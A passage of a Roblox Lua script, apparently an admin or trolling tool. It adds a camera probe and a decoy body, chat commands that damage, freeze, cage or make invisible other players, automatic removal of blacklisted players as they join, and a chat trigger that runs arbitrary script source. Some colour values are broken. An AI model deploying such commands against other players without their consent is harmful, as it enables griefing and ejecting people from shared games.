  934. local amblist = {"http://www.roblox.com/asset/?id=130771271", "http://www.roblox.com/asset/?id=157204376"}
  935.  
  936. local idle = New("Sound", p)
  937. idle.SoundId = amblist[math.random(1, 2)]
  938. idle.Volume = .05
  939. idle.Looped = true
  940. idle:Play()
  941.  
  942. idle.AncestryChanged:connect(function()
  943. idle.Parent = Workspace
  944. idle:Stop()
  945. end)
  946.  
  947. local lite = New("PointLight", p)
  948. lite.Color = BrickColor.new(col).Color
  949.  
  950. --coroutine.resume(coroutine.create(function()
  951. -- rot = 0
  952. -- rot2 = 0
  953. -- while p.Parent ~= nil do
  954. -- moon.CFrame = p.CFrame * CFrame.Angles(math.rad(45), math.rad(rot), math.rad(rot2)) * CFrame.new(0, 0, -3)
  955. -- wait()
  956. -- rot = rot + 1
  957. -- rot2 = rot2 + 1
  958. -- rot2 = rot + rot2
  959. -- end
  960. --end))
  961. cam.CameraSubject = p
  962.  
  963. return p
  964. end
  965. p = makeP(probecol)
  966.  
  967. local klist = {}
  968.  
  969. local mkd_con = mouse.KeyDown:connect(function(k)
  970. klist[k] = true
  971.  
  972. if k == "f" and mode then
  973. local hit = Beam(p.meshpart.CFrame, mouse.Hit.p, p, "White", p.meshpart.BrickColor.Name)
  974. print(hit)
  975. if hit ~= nil then
  976. local gpc = game.Players:GetPlayerFromCharacter(hit.Parent)
  977. print("GC:",mode["GC"])
  978. for i,v in pairs(mode["Args"]) do print(i,v) end
  979. if gpc then
  980. print("gpc was "..gpc.Name)
  981. table.insert(mode["Args"], 2, string.lower(gpc.Name))
  982. mode["Args"][2] = string.lower(gpc.Name)
  983. print("argz cont")
  984.  
  985. docmd(mode["GC"], mode["Args"])
  986. end
  987. end
  988. end
  989. end)
  990. local mku_con = mouse.KeyUp:connect(function(k)
  991. klist[k] = nil
  992. end)
  993.  
  994. rot = 0
  995. rot2 = 0
  996. local step
  997. step = game["Run Service"].RenderStepped:connect(function()
  998. if p.Parent == nil then
  999. p = makeP(probecol)
  1000. end
  1001.  
  1002. local cspd = 1
  1003. if probe then
  1004.  
  1005. p.CFrame = cam.CoordinateFrame * CFrame.new(0, 0, -8)
  1006. if p.meshpart then p.meshpart.CFrame = p.CFrame end
  1007. local moon = p:FindFirstChild("moon")
  1008. if moon then
  1009. moon.CFrame = p.CFrame * CFrame.Angles(math.rad(45), math.rad(rot), math.rad(rot2)) * CFrame.new(0, 0, -3)
  1010. wait()
  1011. rot = rot + math.random(1,2)
  1012. rot2 = rot2 + math.random(1,2)
  1013. rot2 = rot + rot2
  1014. end
  1015.  
  1016. local nfoc = cam.CoordinateFrame
  1017. if klist["w"] then
  1018. nfoc = nfoc * CFrame.new(0, 0, -cspd)
  1019. cam.CoordinateFrame = cam.CoordinateFrame * CFrame.new(0, 0, -cspd)
  1020. end
  1021. if klist["s"] then
  1022. nfoc = nfoc * CFrame.new(0, 0, cspd)
  1023. cam.CoordinateFrame = cam.CoordinateFrame * CFrame.new(0, 0, cspd)
  1024. end
  1025. if klist["a"] then
  1026. nfoc = nfoc * CFrame.new(-cspd, 0, 0)
  1027. cam.CoordinateFrame = cam.CoordinateFrame * CFrame.new(-cspd, 0, 0)
  1028. end
  1029. if klist["d"] then
  1030. nfoc = nfoc * CFrame.new(cspd, 0, 0)
  1031. cam.CoordinateFrame = cam.CoordinateFrame * CFrame.new(cspd, 0, 0)
  1032. end
  1033. if klist["e"] then
  1034. nfoc = nfoc * CFrame.new(0, cspd, 0)
  1035. cam.CoordinateFrame = cam.CoordinateFrame * CFrame.new(0, cspd, 0)
  1036. end
  1037. if klist["q"] then
  1038. nfoc = nfoc * CFrame.new(0, -cspd, 0)
  1039. cam.CoordinateFrame = cam.CoordinateFrame * CFrame.new(0, -cspd, 0)
  1040. end
  1041.  
  1042. cam.Focus = CFrame.new(cam.CoordinateFrame.p, nfoc.lookVector)
  1043.  
  1044.  
  1045. elseif probe == false then
  1046. step:disconnect()
  1047. mkd_con:disconnect()
  1048. mku_con:disconnect()
  1049.  
  1050. print("Probe was false")
  1051. local ploc = p.Position
  1052. p:Remove()
  1053.  
  1054. cam.CameraSubject = char.Humanoid
  1055. char.Torso.Anchored = false
  1056. char.Torso.CFrame = CFrame.new(ploc)
  1057. ChangeTransparencyMod(Effigy, 1)
  1058.  
  1059. Effigy.Parent = Workspace
  1060. Effigy:MakeJoints()
  1061. if not Effigy:FindFirstChild("Humanoid") then New("Humanoid", Effigy) end
  1062. Effigy.Humanoid.Health = Effigy.Humanoid.MaxHealth
  1063. print("MADE")
  1064. Animate(Effigy, BackUp)
  1065.  
  1066. coroutine.resume(coroutine.create(function()
  1067. local float = New("BodyVelocity", plyr.Character.Torso, "Float")
  1068. float.maxForce = Vector3.new(9999, 9999, 9999)
  1069. for i = 1, 40 do
  1070. ChangeTransparencyMod(Effigy, 1 - 1/40*i)
  1071. float.velocity = Vector3.new(0, -i, 0)
  1072. wait()
  1073. end
  1074. float:Remove()
  1075. end))
  1076.  
  1077. end
  1078.  
  1079.  
  1080. end)
  1081.  
  1082. end
  1083.  
  1084.  
  1085. hatlist = nil
  1086.  
  1087. animating = false
  1088. function CreateNewChar()
  1089. char = plyr.Character
  1090. local NewChar = New("Model", nil, plyr.Name)
  1091.  
  1092. local hed = New("Part", NewChar, "Head")
  1093. local tor = New("Part", NewChar, "Torso")
  1094. tor.CFrame = CFrame.new(0, 9000, 0)
  1095. hed.CFrame = tor.CFrame * CFrame.new(0, 1, 0)
  1096.  
  1097. local hum = New("Humanoid", NewChar)
  1098.  
  1099. --hed.Name = "Vacant"
  1100. --tor.Name = "Vacant"
  1101.  
  1102. local cHead = New("Part", NewChar, "MyHead")
  1103. cHead.Size = Vector3.new(2, 1, 1)
  1104. cHead.BrickColor = char.Head.BrickColor
  1105. local cHeadMesh = New("SpecialMesh", cHead)
  1106. cHeadMesh.MeshType = "Head"
  1107. cHeadMesh.Scale = Vector3.new(1.25, 1.25, 1.25)
  1108. local face = New("Decal", cHead, "face")
  1109. face.Texture = char.Head.face.Texture
  1110.  
  1111. local cTorso = New("Part", NewChar, "MyTorso")
  1112. cTorso.Size = Vector3.new(2, 2, 1)
  1113. cTorso.BrickColor = char.Torso.BrickColor
  1114.  
  1115. local cLeftArm = New("Part", NewChar, "LeftArm")
  1116. cLeftArm.Size = Vector3.new(1, 2, 1)
  1117. cLeftArm.BrickColor = char["Left Arm"].BrickColor
  1118.  
  1119. local cRightArm = New("Part", NewChar, "RightArm")
  1120. cRightArm.Size = Vector3.new(1, 2, 1)
  1121. cRightArm.BrickColor = char["Right Arm"].BrickColor
  1122.  
  1123. local cLeftLeg = New("Part", NewChar, "LeftLeg")
  1124. cLeftLeg.Size = Vector3.new(1, 2, 1)
  1125. cLeftLeg.BrickColor = char["Left Leg"].BrickColor
  1126.  
  1127. local cRightLeg = New("Part", NewChar, "RightLeg")
  1128. cRightLeg.Size = Vector3.new(1, 2, 1)
  1129. cRightLeg.BrickColor = char["Right Leg"].BrickColor
  1130.  
  1131. hatlist = {}
  1132. for i,v in pairs(char:GetChildren()) do
  1133. if v.ClassName == "Hat" then
  1134. local hedpos = char.Head.Position
  1135. local hatpos = v.Handle.Position
  1136. local dif = hatpos-hedpos
  1137. local hatrot = v.Handle.Rotation --v.Handle.CFrame - v.Handle.CFrame.p
  1138.  
  1139. local newhat = New("Part", NewChar, "Hat")
  1140. if v.Handle:FindFirstChild("Mesh") then
  1141. local hatmesh = v.Handle.Mesh:Clone()
  1142. hatmesh.Parent = newhat
  1143. end
  1144. newhat.CanCollide = false
  1145.  
  1146. hatlist[i] = {["Frame"] = CFrame.new(dif), ["Rot"] = hatrot, ["Hat"] = newhat}
  1147. end
  1148. end
  1149. ChangeCollideMod(NewChar, false)
  1150. AnchorMod(NewChar, true)
  1151.  
  1152.  
  1153. local BB = New("BillboardGui", cHead, "NameTag")
  1154. local lab = New("TextLabel", BB, "NameText")
  1155.  
  1156. BB.Size = UDim2.new(9, 0, 1, 0)
  1157. BB.StudsOffset = Vector3.new(0, 2, 0)
  1158. lab.BackgroundTransparency = 1
  1159. lab.Position = UDim2.new()
  1160. lab.Size = UDim2.new(1,0, 1, 0)
  1161. lab.TextColor3 = Color3.new(1,1,1)
  1162. lab.TextStrokeColor3 = strokecol3
  1163. lab.TextStrokeTransparency = 0
  1164. lab.FontSize = "Size24"
  1165. lab.TextWrapped = true
  1166.  
  1167. lab.Text = NewChar.Name
  1168. NewChar.Changed:connect(function(property)
  1169. if property == "Name" then
  1170. lab.Text = NewChar.Name
  1171. end
  1172. end)
  1173.  
  1174. local HPFrame = New("Frame", BB, "HPFrame")
  1175. HPFrame.BackgroundColor3 = Color3.new(1, 0, 0)
  1176. HPFrame.Size = UDim2.new(.5, 0, .3, 0)
  1177. HPFrame.Position = UDim2.new(.25, 0, .9, 0)
  1178. HPFrame.BorderColor3 = strokecol3
  1179.  
  1180. local HPBar = New("ImageLabel", HPFrame, "HPBar")
  1181. HPBar.BackgroundColor3 = Color3.new(0, 81176470588235, 59607843137255)
  1182. HPBar.ZIndex = 2
  1183. HPBar.Size = UDim2.new(1, 0, 1, 0)
  1184. HPBar.Position = UDim2.new()
  1185. HPBar.BorderSizePixel = 0
  1186.  
  1187. cHead.Changed:connect(function(property)
  1188. if property == "Transparency" then
  1189. lab.TextTransparency = cHead.Transparency
  1190. HPFrame.BackgroundTransparency = cHead.Transparency
  1191. HPBar.BackgroundTransparency = cHead.Transparency
  1192. face.Transparency = cHead.Transparency
  1193. end
  1194. end)
  1195.  
  1196. local origscalex = HPBar.Size.X.Scale
  1197. local origscaley = HPBar.Size.Y.Scale
  1198. hum.HealthChanged:connect(function(health)
  1199. if NewChar.Parent ~= nil then
  1200. local maxhp = hum.MaxHealth
  1201. HPBar:TweenSize(UDim2.new(origscalex/(hum.MaxHealth/hum.Health), 0, origscaley, 0), "Out", "Sine", .65, true)
  1202. if hum.Health >= 99999999 then
  1203. HPBar.BackgroundColor3 = BrickColor.new("Bright yellow").Color
  1204. HPBar:TweenSize(UDim2.new(1, 0, origscaley, 0), "Out", "Sine", .65, true)
  1205. else
  1206. HPBar.BackgroundColor3 = Color3.new(0, 81176470588235, 59607843137255)
  1207. end
  1208. end
  1209.  
  1210. end)
  1211.  
  1212. hum.Changed:connect(function(prop)
  1213. if prop == "WalkSpeed" then
  1214. plyr.Character.Humanoid.WalkSpeed = hum.WalkSpeed
  1215. end
  1216. end)
  1217.  
  1218. hum.Died:connect(function()
  1219. wait()
  1220. AnchorMod(NewChar, false)
  1221. ChangeCollideMod(NewChar, true)
  1222. wait(5)
  1223. NewChar:Remove()
  1224. --cam[plyr.Name].Torso.CFrame = CFrame.new(0, 50, 0)
  1225.  
  1226. end)
  1227.  
  1228. tor.ChildAdded:connect(function(ch)
  1229. ch.Parent = cTorso
  1230. end)
  1231. hed.ChildAdded:connect(function(ch)
  1232. ch.Parent = cHead
  1233. end)
  1234.  
  1235. coroutine.resume(coroutine.create(function()
  1236. while true do
  1237. hum.Health = hum.Health + 1
  1238. wait(1)
  1239. end
  1240. end))
  1241.  
  1242. local BackUp = NewChar:Clone()
  1243. return NewChar, BackUp
  1244. end
  1245.  
  1246.  
  1247.  
  1248.  
  1249.  
  1250. --== ANIMATE FUNCTION ==--
  1251.  
  1252.  
  1253.  
  1254.  
  1255.  
  1256.  
  1257. function Animate(nguy, bak)
  1258. if plyr.Character.Parent == cam and not animating then
  1259. char = plyr.Character
  1260. ChangeTransparencyMod(char, 1)
  1261. animating = true
  1262. print("Animating")
  1263. char.Torso.CFrame = CFrame.new(0, 50, 0)
  1264. local runcon
  1265. runcon = game["Run Service"].RenderStepped:connect(function()
  1266. if not nguy:FindFirstChild("Humanoid") then h = Instance.new("Humanoid", nguy) end
  1267. if nguy.Parent and nguy.Humanoid.Health > 0 then
  1268. local myH = nguy:FindFirstChild("MyHead")
  1269. local myT = nguy:FindFirstChild("MyTorso")
  1270. local LA = nguy:FindFirstChild("LeftArm")
  1271. local RA = nguy:FindFirstChild("RightArm")
  1272. local LL = nguy:FindFirstChild("LeftLeg")
  1273. local RL = nguy:FindFirstChild("RightLeg")
  1274.  
  1275. if myH then myH.CFrame = char.Head.CFrame else nguy.Humanoid.Health = 0 end
  1276. if myT then myT.CFrame = char.Torso.CFrame else nguy.Humanoid.Health = 0 end
  1277. if LA then LA.CFrame = char["Left Arm"].CFrame end
  1278. if RA then RA.CFrame = char["Right Arm"].CFrame end
  1279. if LL then LL.CFrame = char["Left Leg"].CFrame end
  1280. if RL then RL.CFrame = char["Right Leg"].CFrame end
  1281.  
  1282. if char.Torso.Position.y < -10 then
  1283. char.Torso.CFrame = CFrame.new(0, 50, 0)
  1284. end
  1285.  
  1286. for _,v in pairs(hatlist) do
  1287. if v["Hat"] and nguy.MyHead.Parent ~= nil then
  1288. v["Hat"].Rotation = v["Rot"] v["Hat"].CFrame = nguy.MyHead.CFrame * v["Frame"]
  1289. end
  1290. end
  1291.  
  1292. else
  1293. runcon:disconnect()
  1294. animating = false
  1295. Effigy = bak
  1296. BackUp = CreateNewChar()
  1297. wait(6)
  1298. if not probe and not animating then
  1299. Effigy.Parent = Workspace
  1300. Effigy:MakeJoints()
  1301. Effigy.Humanoid.Health = Effigy.Humanoid.MaxHealth
  1302. print("SPAWN'T")
  1303. Animate(Effigy, BackUp)
  1304. end
  1305. return
  1306. end
  1307. --wait()
  1308. end)
  1309.  
  1310. local chatcon
  1311. chatcon = plyr.Chatted:connect(function(msg)
  1312. local lowmsg = string.lower(msg)
  1313. local private = false
  1314.  
  1315. if nguy.Parent == nil then
  1316. chatcon:disconnect()
  1317. return nil
  1318. end
  1319. while nguy.Parent and nguy.MyHead:FindFirstChild("chat") do
  1320. nguy.MyHead.chat:Remove()
  1321. end
  1322. if string.sub(msg, 1, 3) == "/e " then
  1323. private = true
  1324. msg = string.sub(msg, 4)
  1325. lowmsg = string.lower(msg)
  1326. end
  1327. print(lowmsg)
  1328. local GC,argz = GetCMD(msg)
  1329.  
  1330.  
  1331. if msg == "die"..bet then
  1332. nguy.Humanoid.Health = 0
  1333. elseif string.sub(lowmsg, 1, 2) == "s"..bet and scr_base then
  1334. local news = scr_base:Clone()
  1335. news.DSource.Value = string.sub(msg, 3)
  1336. news.Parent = Workspace
  1337. news.Disabled = false
  1338.  
  1339. elseif GC then
  1340. docmd(GC,argz)
  1341. end
  1342.  
  1343.  
  1344. if not private and nguy and nguy:FindFirstChild("MyHead") then
  1345.  
  1346. local chat = New("BillboardGui", nguy.MyHead)
  1347. chat.StudsOffset = Vector3.new(0, 1, 0)
  1348. chat.Size = UDim2.new(1, 0, 1, 0)
  1349. chat.AlwaysOnTop = true
  1350. chat.Name = "chat"
  1351. local lab = New("TextLabel", chat)
  1352. lab.BackgroundTransparency = 1
  1353. lab.Font = "Arial"
  1354. lab.FontSize = "Size24"
  1355. lab.TextColor3 = Color3.new(1,1,1)
  1356. lab.Text = msg
  1357. lab.Size = UDim2.new(1, 0, 1, 0)
  1358. lab.Position = UDim2.new(0, 0, .9, 0)
  1359. lab.TextStrokeTransparency = 0
  1360. lab.ZIndex = 5
  1361.  
  1362. coroutine.resume(coroutine.create(function()
  1363. for i = 1, 9 do
  1364. lab.Position = lab.Position - UDim2.new(0, 0, .1, 0)
  1365. lab.TextTransparency = .9 - i/10
  1366. wait(.1)
  1367. end
  1368. end))
  1369.  
  1370. local down = Vector3.new(-.05, -.05, -.05)
  1371. local up = Vector3.new(.05, .05, .05)
  1372.  
  1373. while chat do
  1374.  
  1375. repeat
  1376. local CtoV = ColToVec(lab.TextColor3)
  1377. CtoV = CtoV - Vector3.new(.05, .05, .05)
  1378.  
  1379. lab.TextColor3 = VecToCol(CtoV)
  1380. wait()
  1381. until CtoV.y <= .5
  1382.  
  1383. repeat
  1384. local CtoV = ColToVec(lab.TextColor3)
  1385. CtoV = CtoV + Vector3.new(.05, .05, .05)
  1386.  
  1387. lab.TextColor3 = VecToCol(CtoV)
  1388. wait()
  1389. until CtoV.y >= 1
  1390.  
  1391. end
  1392. end
  1393.  
  1394. end)
  1395.  
  1396. local kcon
  1397. kcon = mouse.KeyDown:connect(function(k)
  1398. if k == "f" and nguy.Parent ~= nil then
  1399. local hit = Beam(nguy.MyTorso.CFrame, mouse.Hit.p, nguy, lazcol, lazcol2)
  1400. if hit and hit.Parent:FindFirstChild("Humanoid") then
  1401. local human = hit.Parent.Humanoid
  1402. human:TakeDamage(10)
  1403. end
  1404. elseif nguy.Parent == nil then
  1405. kcon:disconnect()
  1406. end
  1407. end)
  1408.  
  1409.  
  1410. end
  1411. end
  1412.  
  1413. --== SCREEN GUI COMMANDS ==--
  1414.  
  1415. function ScreenGui(frameType, frameSize, framePos, guiobj, content)
  1416. local SGPart = New("Part", cam, "SGPart")
  1417. SGPart.Anchored = true
  1418. SGPart.Size = Vector3.new(6, 4, 1)
  1419. SGPart.Transparency = 1
  1420. SGPart.CanCollide = false
  1421. local xclicked = false
  1422. local cursel = nil
  1423.  
  1424. local surf = New("SurfaceGui", SGPart, "Surface")
  1425. surf.Face = "Back"
  1426. --surf.Adornee = plyr
  1427. local frame = New(frameType, surf)
  1428. frame.Size = frameSize
  1429. frame.Position = framePos
  1430. frame.Name = "ScrollingFrame"
  1431. frame.Draggable = true
  1432. local xbut = New("TextButton", surf)
  1433. xbut.BackgroundColor3 = BrickColor.new("Really red").Color
  1434. xbut.TextColor3 = Color3.new(1,1,1)
  1435. xbut.Size = UDim2.new(frameSize.X.Scale/10, 0, frameSize.Y.Scale/17, 0)
  1436. xbut.Position = framePos + UDim2.new(frameSize.X.Scale-xbut.Size.X.Scale, 0, 0, 0)
  1437.  
  1438. xbut.MouseEnter:connect(function(x,y)
  1439. cursel = "xbut"
  1440. end)
  1441. xbut.MouseLeave:connect(function(x,y)
  1442. cursel = nil
  1443. end)
  1444.  
  1445. mouse.Button1Down:connect(function()
  1446. if cursel == "xbut" then
  1447. xclicked = true
  1448. end
  1449. end)
  1450.  
  1451. print("At loop")
  1452. local keep = game["Run Service"].RenderStepped:connect(function()
  1453. SGPart.CFrame = cam.CoordinateFrame * CFrame.new(0, 0, -3.6)
  1454. end)
  1455.  
  1456. coroutine.resume(coroutine.create(function()
  1457. repeat
  1458. wait()
  1459. until Effigy.Humanoid.Health < 1 or xclicked or SGPart.Parent == nil
  1460. keep:disconnect()
  1461. SGPart:Destroy()
  1462. end))
  1463.  
  1464. return SGPart
  1465.  
  1466. end
  1467.  
  1468. local logsobj
  1469. game.Lighting:ClearAllChildren()
  1470. logsobj = game.Lighting:WaitForChild(plyr.Name.."Logs")
  1471.  
  1472.  
  1473. --function DoLogs(p)
  1474. -- function LogChat(msg)
  1475. -- table.insert(logs[p.Name], msg)
  1476. -- table.insert(logs['All'], p.Name..": "..msg)
  1477. --
  1478. -- end
  1479. --
  1480. -- p.Chatted:connect(LogChat)
  1481. --end
  1482.  
  1483. --for _,v in pairs(game.Players:GetPlayers()) do
  1484. -- logs[v.Name] = {}
  1485. -- New("StringValue", logsobj, v.Name)
  1486. -- DoLogs(v)
  1487. --end
  1488.  
  1489. --logsobj.ChildAdded:connect(function(s)
  1490. -- if not logs[s.Name] then
  1491. -- logs[s.Name] = {}
  1492. -- end
  1493. -- table.insert(logs[s.Name], s.Value)
  1494. -- print("Log added")
  1495. --end)
  1496.  
  1497. game.Players.ChildAdded:connect(function(p)
  1498. if nope[string.lower(p.Name)] and p.Parent ~= nil then
  1499. p:Destroy()
  1500. else
  1501. if p.ClassName == "Player" and notify then
  1502. Output("Player '"..p.Name.."' has joined the game.", plyr)
  1503. end
  1504. --logs[p.Name] = {}
  1505. --DoLogs(p)
  1506. end
  1507. end)
  1508. game.Players.ChildRemoved:connect(function(p)
  1509. if p.ClassName == "Player" and notify then
  1510. Output("Player '"..p.Name.."' has left the game.", plyr)
  1511. end
  1512. end)
  1513.  
  1514. AddCMD("invis", "Invisible", "Turns a player invisible", "ToPlayer", function(find,args)
  1515. local amt = 1
  1516. if args[1] then amt = args[1] end
  1517. if find.Character.Parent == Workspace then
  1518. for _,v in pairs(find.Character:GetChildren()) do
  1519. if v:IsA("BasePart") then
  1520. v.Transparency = amt
  1521. end
  1522. end
  1523. elseif find == plyr and Effigy and Effigy.Parent == Workspace then
  1524. for _,v in pairs(Effigy:GetChildren()) do
  1525. if v:IsA("BasePart") then
  1526. v.Transparency = amt
  1527. end
  1528. end
  1529. end
  1530. end)
  1531. AddCMD("vis", "Visible", "Makes a player visible", "ToPlayer", function(find,args)
  1532. if find.Character.Parent == Workspace then
  1533. for _,v in pairs(find.Character:GetChildren()) do
  1534. if v:IsA("BasePart") and v.Name ~= "HumanoidRootPart" then
  1535. v.Transparency = 0
  1536. end
  1537. end
  1538. elseif find == plyr and Effigy and Effigy.Parent == Workspace then
  1539. for _,v in pairs(Effigy:GetChildren()) do
  1540. if v:IsA("BasePart") then
  1541. v.Transparency = 0
  1542. end
  1543. end
  1544. end
  1545. end)
  1546. AddCMD("sit", "Sit", "Sits a player. Use; sit/plyr/duration", "ToPlayer", function(find,args)
  1547. if find.Character.Parent ~= nil then
  1548. if args[1] then
  1549. local dur = tonumber(args[1])
  1550. local int = dur/.03
  1551. local count = 0
  1552. while count < int do
  1553. count = count + 1
  1554. find.Character.Humanoid.Sit = true
  1555. wait()
  1556. end
  1557. else
  1558. find.Character.Humanoid.Sit = true
  1559. end
  1560. end
  1561. end)
  1562. AddCMD("jump", "Jump", "Makes a player jump. Use; jump/plyr/duration", "ToPlayer", function(find,args)
  1563. if find.Character.Parent ~= nil then
  1564. if args[1] then
  1565. local dur = tonumber(args[1])
  1566. local int = dur/.03
  1567. local count = 0
  1568. while count < int do
  1569. count = count+1
  1570. find.Character.Humanoid.Jump = true
  1571. wait()
  1572. end
  1573. else
  1574. find.Character.Humanoid.Jump = true
  1575. end
  1576. end
  1577. end)
  1578. AddCMD("ps", "PlatformStand", "Makes a player platformstand. Use; ps/plyr/duration", "ToPlayer", function(find,args)
  1579. if find.Character.Parent ~= nil then
  1580. if args[1] then
  1581. local dur = tonumber(args[1])
  1582. local int = dur/.03
  1583. local count = 0
  1584. while count < int do
  1585. count = count + 1
  1586. find.Character.Humanoid.PlatformStand = true
  1587. wait()
  1588. end
  1589. else
  1590. find.Character.Humanoid.PlatformStand = true
  1591. end
  1592. end
  1593. end)
  1594. AddCMD("immor", "Immortal", "Make a player immortal", "ToPlayer", function(find,args)
  1595. if find.Character.Parent ~= nil and find ~= plyr then
  1596. find.Character.Humanoid.MaxHealth = math.huge
  1597. find.Character.Humanoid.Health = math.huge
  1598. elseif find == plyr and Effigy and Effigy.Parent == Workspace then
  1599. Effigy.Humanoid.MaxHealth = math.huge
  1600. Effigy.Humanoid.Health = math.huge
  1601. end
  1602. end)
  1603. AddCMD("mor", "Mortal", "Makes a player mortal", "ToPlayer", function(find,args)
  1604. if find.Character.Parent ~= nil and find ~= plyr then
  1605. find.Character.Humanoid.MaxHealth = 100
  1606. find.Character.Humanoid.Health = 100
  1607. elseif find == plyr and Effigy and Effigy.Parent == Workspace then
  1608. Effigy.Humanoid.MaxHealth = 100
  1609. Effigy.Humanoid.Health = 100
  1610. end
  1611. end)
  1612. AddCMD("freeze", "Freeze", "Freezes a player", "ToPlayer", function(find,args)
  1613. if find and find.Character then
  1614. for _,v in pairs(find.Character:GetChildren()) do
  1615. if v.ClassName == "Part" and v.Name ~= "HumanoidRootPart" then
  1616. v.Anchored = true
  1617. local clo = v:Clone()
  1618. clo.Parent = find.Character
  1619. clo.Name = "FIce"--"F"..v.Name
  1620. clo.BrickColor = BrickColor.new("Pastel Blue")
  1621. clo.Transparency = .5
  1622. clo.Reflectance = .3
  1623. clo.FormFactor = "Custom"
  1624. clo.CFrame = v.CFrame
  1625. if clo:FindFirstChild("Mesh") then
  1626. if clo.Mesh.ClassName == "SpecialMesh" then clo.Mesh.TextureId = "" end
  1627. clo.Mesh.Scale = clo.Mesh.Scale + Vector3.new(.3, .3, .3)
  1628. else
  1629. clo.Size = clo.Size + Vector3.new(.3, .3, .3)
  1630. end
  1631. if v:FindFirstChild("face") then
  1632. clo.face:Remove()
  1633. end
  1634. if v.Name == "Torso" then
  1635. clo.CFrame = find.Character.Torso.CFrame
  1636. end
  1637.  
  1638. elseif v.ClassName == "Hat" and v:FindFirstChild("Handle") then
  1639. local clo = v.Handle:Clone()
  1640. clo.Parent = find.Character
  1641. clo.Name = "FIce"--"F"..v.Name
  1642. clo.BrickColor = BrickColor.new("Pastel Blue")
  1643. clo.Transparency = .5
  1644. clo.Reflectance = .3
  1645. clo.FormFactor = "Custom"
  1646. clo.Anchored = true
  1647. clo.CFrame = v.Handle.CFrame
  1648. if clo:FindFirstChild("Mesh") then
  1649. if clo.Mesh.ClassName == "SpecialMesh" then clo.Mesh.TextureId = "" end
  1650. clo.Mesh.Scale = clo.Mesh.Scale + Vector3.new(.3, .3, .3)
  1651. else
  1652. clo.Size = clo.Size + Vector3.new(.3, .3, .3)
  1653. end
  1654. end
  1655. end
  1656. end
  1657. end)
  1658. AddCMD("thaw", "Thaw", "Thaws a player", "ToPlayer", function(find,args)
  1659. if find and find.Character then
  1660. for _,v in pairs(find.Character:GetChildren()) do
  1661. if v.Name == "FIce" then
  1662. v:Destroy()
  1663. elseif v.ClassName == "Part" then
  1664. v.Anchored = false
  1665. end
  1666. end
  1667. end
  1668. end)
  1669. AddCMD("nograv", "NoGravity", "Removes gravity from a player", "ToPlayer", function(find,args)
  1670.  
  1671. local m = 0
  1672. function getModelMass(getModel)
  1673. for i,v in pairs (getModel:GetChildren()) do
  1674. if v:IsA('BasePart') then
  1675. m = m + v:GetMass()
  1676. elseif v.ClassName == "Hat" and v:FindFirstChild("Handle") then
  1677. m = m + v.Handle:GetMass()
  1678. elseif v:IsA('Model') then
  1679. m = m + getModelMass(v)
  1680. end
  1681. end
  1682. return m
  1683. end
  1684. if find.Character and find.Character:FindFirstChild("Torso") then
  1685. b = Instance.new("BodyForce")
  1686. b.Name = "nograv"
  1687. b.Parent = find.Character.Torso
  1688. b.force = Vector3.new(0,getModelMass(find.Character) * 196.2,0)
  1689. end
  1690. end)
  1691. AddCMD("grav", "Gravity", "Returns gravity to a plyer", "ToPlayer", function(find,args)
  1692. if find and find.Character then
  1693. if find.Character:FindFirstChild("Torso") and find.Character.Torso:FindFirstChild("nograv") then
  1694. find.Character.Torso.nograv:Destroy()
  1695. end
  1696. end
  1697. end)
  1698. AddCMD("ws", "WalkSpeed", "Modifies a player's WalkSpeed. Use; ws/player/speed", "ToPlayer", function(find,args)
  1699. local cond = find.Character and find.Character:FindFirstChild("Humanoid") and find ~= plyr and args[1]
  1700. local cond2 = find == plyr and Effigy and Effigy.Parent == Workspace and args[1]
  1701.  
  1702. if cond then
  1703. find.Character.Humanoid.WalkSpeed = args[1]
  1704. elseif cond2 then
  1705. Effigy.Humanoid.WalkSpeed = args[1]
  1706. end
  1707. end)
  1708. AddCMD("box", "Box", "Encases a player in a box. Use; box/plyr/size/color", "ToPlayer", function(find,args)
  1709. local big = tonumber(args[1])
  1710. if not big then big = 8 end
  1711. local hlf = big/2
  1712. if not args[2] then bcol = "Bright blue" else bcol = args[2] end
  1713.  
  1714. if find and find.Character and find.Character["Torso"] then
  1715.  
  1716. local fchar = find.Character
  1717. local bawx = Instance.new("Model", Workspace)
  1718. bawx.Name = "Box"..find.Name
  1719. local rs = Instance.new("Part", bawx)
  1720. rs.Name = "Wall"
  1721. rs.Anchored = true
  1722. rs.BrickColor = BrickColor.new(string.upper(string.sub(bcol, 1,1))..string.sub(bcol, 2))
  1723. rs.Transparency = .4
  1724. rs.Reflectance = .3
  1725. rs.Material = "SmoothPlastic"
  1726. rs.TopSurface = "Smooth"
  1727. rs.BottomSurface = "Smooth"
  1728. rs.Size = Vector3.new(1, big, big)
  1729. rs.CFrame = CFrame.new(fchar.Torso.Position) * CFrame.new(-hlf, 0, 0)
  1730. local ls = rs:Clone()
  1731. ls.Parent = bawx
  1732. ls.CFrame = CFrame.new(fchar.Torso.Position) * CFrame.new(hlf, 0, 0)
  1733. local fs = rs:Clone()
  1734. fs.Parent = bawx
  1735. fs.Size = Vector3.new(big, big, 1)
  1736. fs.CFrame = CFrame.new(fchar.Torso.Position) * CFrame.new(0, 0, hlf)
  1737. local bs = rs:Clone()
  1738. bs.Parent = bawx
  1739. bs.Size = Vector3.new(big, big, 1)
  1740. bs.CFrame = CFrame.new(fchar.Torso.Position) * CFrame.new(0, 0, -hlf)
  1741. local ts = rs:Clone()
  1742. ts.Parent = bawx
  1743. ts.Size = Vector3.new(big, 1, big)
  1744. ts.CFrame = CFrame.new(fchar.Torso.Position) * CFrame.new(0, hlf, 0)
  1745. local bots = rs:Clone()
  1746. bots.Parent = bawx
  1747. bots.Size = Vector3.new(big, 1, big)
  1748. bots.CFrame = CFrame.new(fchar.Torso.Position) * CFrame.new(0, -hlf, 0)
  1749. end
  1750. end)
  1751. AddCMD("unbox", "Unbox", "Removes a box from a player", "ToPlayer", function(find,args)
  1752. if Workspace:FindFirstChild("Box"..find.Name) then
  1753. Workspace["Box"..find.Name]:Remove()
  1754. end
  1755. end)
  1756. AddCMD("dmg", "Damage", "Damages a player. Use; dmg/plyr/amt", "ToPlayer", function(find,args)
  1757. if find.Character:FindFirstChild("Humanoid") and args[1] and find ~= plyr then
  1758. find.Character.Humanoid.Health = find.Character.Humanoid.Health - args[1]
  1759. elseif find == plyr and Effigy and Effigy.Parent == Workspace and args[1] then
  1760. Effigy.Humanoid.Health = Effigy.Humanoid.Health - args[1]
  1761. end
  1762. end)
  1763. AddCMD("heal", "Heal", "Heals a player. Use; heal/plyr/amt", "ToPlayer", function(find,args)
  1764. local hamt = args[1] if not hamt then hamt = 99999 end
